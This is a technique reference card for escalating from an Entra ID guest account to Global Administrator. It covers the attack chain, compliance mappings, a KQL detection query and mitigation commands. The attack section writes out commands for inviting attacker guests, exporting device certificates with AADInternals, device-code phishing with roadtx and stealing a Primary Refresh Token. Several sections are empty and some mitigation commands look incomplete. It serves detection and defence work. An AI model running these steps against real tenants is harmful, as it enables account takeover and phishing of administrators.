| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-015 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Privilege Escalation |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Azure subscriptions with default guest policies; All Entra ID tenants |
| Patched In | Mitigation via policy enforcement (no patch) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: This attack demonstrates the complete privilege escalation chain from a B2B guest account (with no explicit permissions granted) to full Global Administrator access in Entra ID by leveraging Azure VM features and stolen device identities. The attack chain combines multiple techniques: guest account compromise → subscription transfer → Gen 1 VM creation → device certificate extraction → device code phishing → PRT theft → admin impersonation. The critical insight is that a guest account can, through default Azure subscription owner privileges, create Azure VMs that are automatically Entra ID-joined, gaining a foothold to steal device certificates and launch further attacks.
Attack Surface: Guest invitation policies, subscription transfers, Azure VM creation permissions, Entra ID device registration, device certificate storage, OAuth device code flow, Primary Refresh Token issuance.
Business Impact: Complete Entra ID and Azure compromise, persistent access to all cloud resources, ability to modify admin accounts, disable security controls, and exfiltrate all organizational data in M365 and Azure. The attack succeeds through default configurations with no special vulnerabilities exploited, making it highly likely to succeed in most organizations.
Technical Context: Attack takes 30-60 minutes from guest account access to Global Admin status. Each phase can be completed manually through Azure Portal (no special tools required for setup phases, though tools accelerate execution). Detection requires correlation of multiple audit events.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | v8 5.3 | Ensure no custom subscription owner roles; restrict guest permissions |
| CIS Benchmark | v8 7.3 | Guest users must be reviewed monthly for legitimacy |
| DISA STIG | AC-2(1) | Privilege escalation must be prevented and monitored |
| NIST 800-53 | AC-2 | Account Management - Guest accounts must have restricted privileges |
| NIST 800-53 | AC-3 | Access Enforcement - Enforce least-privilege for cloud resources |
| GDPR | Art. 32 | Security of Processing - Restrict unauthorized access |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Access control for critical assets |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: All Entra ID, all Azure subscription types
# Assume guest account is already compromised via phishing
# Or invite attacker-controlled guest:
Connect-MgGraph -Scopes "User.Invite.All"
New-MgInvitation -InvitedUserEmailAddress "attacker@outlook.com" `
-InviteRedirectUrl "https://portal.azure.com" -SendInvitationMessage $false
# From compromised guest account, invite attacker's subscription owner account
$params = @{
invitedUserEmailAddress = "attacker-billing@outlook.com"
inviteRedirectUrl = "https://portal.azure.com"
sendInvitationMessage = $false
}
New-MgInvitation -BodyParameter $params
Manual Steps (Azure Portal):
Manual Steps:
# RDP into VM with local admin credentials
# On VM, extract device certificate:
Import-Module AADInternals
Export-AADIntLocalDeviceCertificate -Path "C:\device_cert.pfx"
Export-AADIntLocalDeviceTransportKey -Path "C:\device_transport_key.bin"
# Use ROADtools to conduct device code phishing
roadtx devicecode
# Send phishing email with device code to target admin
# Wait for admin to authenticate
roadtx prtenrich -c device_cert.pfx -k device_transport_key.bin
# PRT acquired
# Use stolen PRT to authenticate to Azure Portal
# Navigate to portal.azure.com with PRT injected
# You are now logged in as the phished admin user
# Assign yourself Global Administrator role or modify subscriptions
Invoke-AtomicTest T1550 -TestNumbers 1
// Detect guest account subscription transfers
let guestInvites = AuditLogs
| where OperationName == "Invite user"
| where TimeGenerated > ago(7d)
| project GuestUPN = tostring(TargetResources[0].userPrincipalName), InviteTime = TimeGenerated;
AzureActivity
| where OperationName contains "Transfer" and Category == "Administrative"
| where TimeGenerated > ago(7d)
| join kind=inner guestInvites on $left.Caller == $right.GuestUPN
| where datetime_diff('day', TimeGenerated, InviteTime) <= 3
| project TimeGenerated, Caller, OperationName, Subscription_s, RiskLevel = "Critical"
Event ID: 4688 (Process Creation)
Manual Configuration:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
Alert Name: “Guest account assigned Owner role on subscription”
Alert Name: “Gen 1 VM created in subscription by new guest”
Update-MgPolicyAuthorizationPolicy -AllowInvitesFrom "adminsAndGuestInviters"
# Create Azure Policy to prevent subscription transfers
New-AzPolicyAssignment -Name "PreventSubTransfer" `
-PolicyDefinition (Get-AzPolicyDefinition -Name "DenySubscriptionTransfer")
# Block Gen 1 VM creation
New-AzPolicyAssignment -Name "EnforceGen2" `
-Scope "/subscriptions/*"
Get-AzSubscription -IncludeTenant | Where-Object {$_.Name -notmatch "company|prod|dev"}
# Create Conditional Access policy requiring MFA for guests
| Step | Phase | Technique |
|---|---|---|
| 1 | Initial Access | Guest Account Compromise |
| 2 | Lateral Movement | [REALWORLD-015] Guest to Admin Azure VM |
| 3 | Persistence | Service Principal Creation |
| 4 | Impact | Data Exfiltration |